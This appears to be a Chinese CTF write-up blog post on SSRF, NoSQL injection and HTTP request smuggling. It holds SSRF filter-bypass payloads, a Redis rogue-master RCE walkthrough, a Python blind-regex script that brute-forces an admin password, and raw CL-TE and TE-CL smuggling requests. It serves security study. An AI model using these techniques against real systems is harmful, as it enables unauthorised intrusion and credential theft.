Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

SSRF漏洞

SSRF全称为Server-side Request Fogery,即服务器端请求伪造,是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞,简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击

这里引用一张图进行理解159

当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问,如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的

形成成因

由于服务端提供了从其他服务器获取数据的功能,但没有对目标地址做过滤与限制,利用改漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统),通过对服务器发送请求形成漏洞

产生漏洞函数

1
2
3
file_get_contents()
fsockopen()
curl_exec()

file_get_contents()

这个函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法。

fsockopen()

使用fsockopen函数实现获取用户制定url的数据(文件或者html)

curl_exec()

该函数可以执行给定的curl会话

内网IP地址

IPv4地址协议中预留三个地址段作为私有地址,三个地址段分别位于A、B、C三类地址内:
A类地址:10.0.0.0–10.255.255.255

B类地址:172.16.0.0–172.31.255.255

C类地址:192.168.0.0–192.168.255.255

IP地址范围:1.0.0.1——255.255.255.254

IP地址(1.0.0.1——255.255.255.254)分类:

A类:1.0.0.1—127.255.255.255
B类:128.0.0.1—191.255.255.254
C类:192.0.0.1—223.255.255.254
D类:224.0.0.1—239.255.255.254
E类:240.0.0.1—255.255.255.254

0.0.0.0为当前主机

绕过方法

部分存在可能产生SSRF漏洞做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问

限制为http://www.xxx.com 域名时(利用@)

同时可以采用进制转换绕过127.0.0.1

八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433

添加端口号 127.0.0.1:8080

利用句号 127。0。0。1 会解析为 127.0.0.1

ip地址转换原理

IP地址一般是一个32位的二进制数意思就是如果将IP地址转换成二进制表示应该有32为那么长,但是它通常被分割为4个“8位二进制数”(也就是4个字节每,每个代表的就是小于2的8 次方)。IP地址通常用“点分十进制”表示成(a.b.c.d)的形式,其中,a,b,c,d都是0~255之间的十进制整数。例:点分十进IP地址(100.4.5.6),实际上是32位二进制数(01100100.00000100.00000101.00000110)

常见利用协议

Http协议: 最常用的SSRF漏洞利用协议,作用为直接访问http资源

File协议:可利用此协议进行服务器文件读取

Dict协议:可用此协议进行端口开放探测

Gopher协议: gopher支持发出GET、POST请求,可进行复杂的漏洞利用

Gopher协议

可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,使用tcp 进行可靠连接

gopher url 格式为:

1
gopher://<host>:<port>/<gopher-path>

<port>默认为70

如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

[De1CTF 2019]SSRF Me

160

网页源码,这里需要将其格式化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

长代码进行分段解析

1
2
3
4
5
6
7
8
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

进行简单的赋值,并进行文件夹创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

进行判断后对文件继续写入和读取

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

建立 /geneSign路由

1
2
3
4
5
6
7
8
9
10
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

建立/De1ta路由,读取get的传参中的param的值和cookie中的action和sign,并进行绕过判断

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

定义getSign方法,连接secert_key,param和action,并进行md5加密

1
2
3
4
5
6
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

简单过滤判断

由提示可以得到fag is in ./flag.txt

通过scan方法读取到flag.txt中的内容,再通过Exec方法将flag.txt中的内容写入result.txt,从而通过读取result.txt读取flag

这里需要通过getSign(self.action, self.param) == self.sign,这里就可以用/geneSign路由进行调试从而得到self.sign的值,

getSign方式进行的连接方式为key+param+action,action = "scan"将action的值在/geneSign路由中固定为scan,而在Exec方法中需要self.action的值内存在scan和read,就可以构造/geneSign中的param的值为flag.txtread,/De1ta中的param的值为flag.txt

162

161

[网鼎杯 2020 玄武组]SSRFMe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

源码提示需要在本地端访问hint.php,但在调用时对其进行了限制

check_inner_ip方法判断不为空后,检测是否为内网ip地址,safe_request_url方法调用check_inner_ip方法进行判断,不符合即执行给定的curl会话,这里即需要绕过内网ip地址对hint.php进行本地访问

这里可以直接通过http://0.0.0.0进行绕过(0.0.0.0的IP地址表示整个网络,代表所有主机的ipv4地址)

check_inner_ip中的url_parse中存在的漏洞163

164

1
2
3
4
5
6
7
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

打开hint.php文件后,可以看到提示redispass is root,这里就需要用到redis的主从复制,所以先简单进行一个解释

redis的主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

然后因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so(exp.so 文件是一个Redis 模块,它提供了一些命令和功能,可以让攻击者在Redis 服务器中执行任意代码,从而获得服务器的控制权),再用module load命令(自动加载命令)加载so文件即可完成rce,这就是前段时间非常火的基于主从复制的redisrce的原理

简单来说,利用redis的主从复制性质,通过植入恶意的redis服务器作为主节点,传输exp到从节点中(即目标redis服务器),通过数据同步响应执行命令即可。

这里需要用到两个工具

https://github.com/n0b0dyCN/redis-rogue-server(提供需要的exp.so)

https://github.com/xmsec/redis-ssrf(模拟redis服务)

运行redis-ssrf工具中的rogue-server.py模拟成主redis,将恶意的exp.so文件放在同一目录下,将该文件传输至从redis,从而实现对从redis的远程控制

165

lhost为主redis服务器,command为执行操作

成功传输后就可以对从redis进行命令执行,这个就通过ssrf-redis.py生成执行命令,对从redis进行控制(这里由于get传参,所以在进行一次url加密)

(感觉除了网页显示,也可以通过检测主redis端口也可以)

166

[GKCTF 2021]hackme

进入网页为登录页面,可以看到提示是使用nosql

167

这里就先了解一下nosql

NoSQl

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”,支持在关系数据库中发现的传统结构之外存储和查询数据

NoSQL注入主要有两种注入方式:

第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等

第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。

重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

联合查询注入

联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

这里以MongoDB进行简单解释这几种注入方式(暂时先不用JavaScript)

数据库(Database)

一个 MongoDB 中可以建立多个数据库

集合(Collection)

集合就是 MongoDB 文档组

文档(Document)

文档是一组键值(key-value)对

需要介绍一下一些简答的语法

使用 find() 方法来查询文档

1
db.collection.find(query, projection)

query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句

find() 方法可以传入多个键值对,每个键值对以逗号隔开

1
{key1: value1, key2:value2}

OR 条件语句使用了关键字 $or 来表示

1
{$or: [{key1: value1}, {key2:value2}]}
等于 {:}
小于 {:{$lt:}}
小于或等于 {:{$lte:}}
大于 {<key>:{$gt:<value>}}
大于或等于 {<key>:{$gte:<value>}}
不等于 {<key>:{$ne:<value>}}

重言式注入

1
2
3
4
array(
'username' => $username,
'password' => $password
)

查询命令

1
db.users.find({'username':$username, 'password':$password})

可以通过 $ne 关键字构造一个永真的条件就可以完成 NoSQL 注入

1
{"username":{"$ne":1},"password": {"$ne":1}}

执行查询语句

1
db.users.find({'username':{"$ne":1},'password':{"$ne":1}})

即在users中寻找username 和 password 都不等于 1的文档

联合查询注入

联合查询与sql注入相似

1
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

执行查询命令

1
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

盲注

盲注基本与sql注入一致,通过正则匹配进行查询

这道题先尝试用重言式注入进行登录

169

发现存在过滤,看到提示

170

这里进行unicode加密

168

这里应该密码错误,所以进行盲注,爆出密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests 
import json
burp0_url = "http://node5.buuoj.cn:28299/login.php"
password=""
while True:
for i in range(32,126):
if chr(i) not in ['*', '+', '.', '?', '|', '#', '&', '$']://这里需要避免特殊字符对正则表达式的影响
burp0_json="""{"username":"admin","password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}"""%(password+chr(i))
# print(burp0_json)
burp0_cookies = {"PHPSESSID": "1qf2s7fp09gvj10q7ktj40o8l9"}
burp0_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Origin": "http://node5.buuoj.cn:26382", "Referer": "http://node5.buuoj.cn:26382/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
res=requests.post(url=burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_json)
# print(res.text)
# print(res.content.decode())
if "登录了,但没完全登录" in res.content.decode():
password+=chr(i)
print(password)
break

可以得到密码42276606202db06ad1f29ab6b4a1307f

登录后发现是一个文件测试,尝试了一下可以进行文件读取

171

查看/flag,发现flag在内网

172

就需要结合提示

173

因为要用到server和配置文件,就先写一下一些基础知识

/etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

/proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数

/proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据

/proc/self/environ

/proc/self/environ文件包含了当前进程的环境变量

/proc/self/fd

这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径

/proc/self/exe

获取当前进程的可执行文件的路径

查看进程环境变量,可以看到使用的式nginx

174

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

访问/usr/local/nginx/conf/nginx.conf,可以看到有个weblogic服务

175

这里就需要通过http请求走私来进行绕过(Ngnix < 1.17.7 中error_page 存在请求走私的漏洞,此处Ngnix为1.17.6,这就可以走私到WebLogic Console登录页面)(这里好像都是利用本身存在的漏洞,做的时候一直都没成功走私,这里就简单记录一下知识点)

176

HTTP 请求走私

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

177

这里引用一个图来进行简单解释,请求走私发生多是由于前端服务器和后端服务器对传入的数据理解不一致造成,其原因是由于http提供的两种不同请求结束方式,即 Content-LengthTransfer-Encoding 标头

这也就造成其三种分类

CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding

TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。

TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它

这也提供了五种攻击方式

CL不为0

所有不携带请求体的HTTP请求都有可能受此影响

前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私

1
2
3
4
5
6
GET / HTTP/1.1
Host: test.com
Content-Length: 44

GET / secret HTTP/1.1
Host: test.com

前端服务器收到该请求,读取Content-Length,判断这是一个完整的请求。
然后转发给后端服务器,后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,后端服务器就认为这是收到了两个请求

第一个:

1
2
GET / HTTP/1.1
Host: test.com

第二个:

1
2
GET / secret HTTP/1.1
Host: test.com

从而造成请求走私

CL-CL

在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理,当后端值小于代理器的值时,仍会残留部分在缓冲区,而当再次对服务器进行请求,就会对后一次请求造成影响

CL-TE

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n //当读到0\r\n 、\r\n即换行结束
\r\n
0\r\n
\r\n
a

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

1
2
3
0\r\n
\r\n
a

而后端服务器处理Transfer-Encoding,当它读取到

1
2
0\r\n
\r\n

就以为结束了,导致a残留在缓冲区,与CL-CL情况一致,对后一次请求造成影响

TE-CL

TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding请求头,后端服务器处理Content-Length请求头。

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

前端服务器处理Transfer-Encoding,当其读取到

1
2
0\r\n
\r\n

认为是读取完毕了
后端服务器处理Content-Length请求头,因为请求体的长度为4.也就是当它读取完

1
12\r\n

就读取结束了

从而造成后面形成另一个请求

1
2
3
4
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

从而造成请求走私

TE-TE

TE-TE,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写),从而使其中一个服务器不处理Transfer-Encoding请求头,在某种意义上这还是CL-TE或者TE-CL

评论